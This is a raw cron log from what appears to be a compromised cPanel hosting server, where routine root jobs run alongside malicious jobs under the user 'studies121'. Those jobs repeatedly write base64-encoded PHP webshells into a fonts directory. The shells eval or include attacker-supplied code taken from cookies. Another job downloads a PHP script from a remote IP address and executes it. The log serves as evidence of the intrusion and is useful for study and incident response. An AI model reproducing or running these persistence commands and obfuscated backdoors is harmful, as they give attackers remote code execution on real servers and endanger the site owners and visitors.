Sep  7 11:14:01 ip-184-168-122-23 CROND[15443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:14:01 ip-184-168-122-23 CROND[15445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:15:01 ip-184-168-122-23 CROND[15566]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 11:15:01 ip-184-168-122-23 CROND[15567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:15:01 ip-184-168-122-23 CROND[15571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:15:01 ip-184-168-122-23 CROND[15570]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 11:15:01 ip-184-168-122-23 CROND[15569]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:15:01 ip-184-168-122-23 CROND[15568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:16:01 ip-184-168-122-23 CROND[15692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:16:01 ip-184-168-122-23 CROND[15694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:16:01 ip-184-168-122-23 CROND[15693]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 11:16:01 ip-184-168-122-23 CROND[15695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:16:01 ip-184-168-122-23 CROND[15696]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:16:01 ip-184-168-122-23 CROND[15697]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 11:17:01 ip-184-168-122-23 CROND[15866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:17:01 ip-184-168-122-23 CROND[15869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:17:01 ip-184-168-122-23 CROND[15867]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:17:01 ip-184-168-122-23 CROND[15868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:18:01 ip-184-168-122-23 CROND[15958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:18:01 ip-184-168-122-23 CROND[15957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:18:01 ip-184-168-122-23 CROND[15959]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:18:01 ip-184-168-122-23 CROND[15961]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 11:18:01 ip-184-168-122-23 CROND[15960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:19:01 ip-184-168-122-23 CROND[16048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:19:01 ip-184-168-122-23 CROND[16049]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:19:01 ip-184-168-122-23 CROND[16050]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:19:01 ip-184-168-122-23 CROND[16051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:20:02 ip-184-168-122-23 CROND[16168]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:20:02 ip-184-168-122-23 CROND[16169]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 11:20:02 ip-184-168-122-23 CROND[16166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:20:02 ip-184-168-122-23 CROND[16167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:20:02 ip-184-168-122-23 CROND[16171]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 11:20:02 ip-184-168-122-23 CROND[16172]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 11:20:02 ip-184-168-122-23 CROND[16175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:20:02 ip-184-168-122-23 CROND[16173]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 11:20:02 ip-184-168-122-23 CROND[16180]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 11:21:01 ip-184-168-122-23 CROND[16287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:21:01 ip-184-168-122-23 CROND[16289]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:21:01 ip-184-168-122-23 CROND[16290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:21:01 ip-184-168-122-23 CROND[16291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:22:01 ip-184-168-122-23 CROND[16405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:22:01 ip-184-168-122-23 CROND[16408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:22:01 ip-184-168-122-23 CROND[16409]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 11:22:01 ip-184-168-122-23 CROND[16411]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:22:01 ip-184-168-122-23 CROND[16412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:23:01 ip-184-168-122-23 CROND[16614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:23:01 ip-184-168-122-23 CROND[16613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:23:01 ip-184-168-122-23 CROND[16612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:23:01 ip-184-168-122-23 CROND[16611]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:24:01 ip-184-168-122-23 CROND[16767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:24:01 ip-184-168-122-23 CROND[16771]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 11:24:01 ip-184-168-122-23 CROND[16772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:24:01 ip-184-168-122-23 CROND[16770]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:24:01 ip-184-168-122-23 CROND[16773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:25:01 ip-184-168-122-23 CROND[16876]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 11:25:01 ip-184-168-122-23 CROND[16878]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:25:01 ip-184-168-122-23 CROND[16881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:25:01 ip-184-168-122-23 CROND[16882]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 11:25:01 ip-184-168-122-23 CROND[16879]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:25:01 ip-184-168-122-23 CROND[16880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:26:01 ip-184-168-122-23 CROND[16978]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 11:26:01 ip-184-168-122-23 CROND[16981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:26:01 ip-184-168-122-23 CROND[16982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
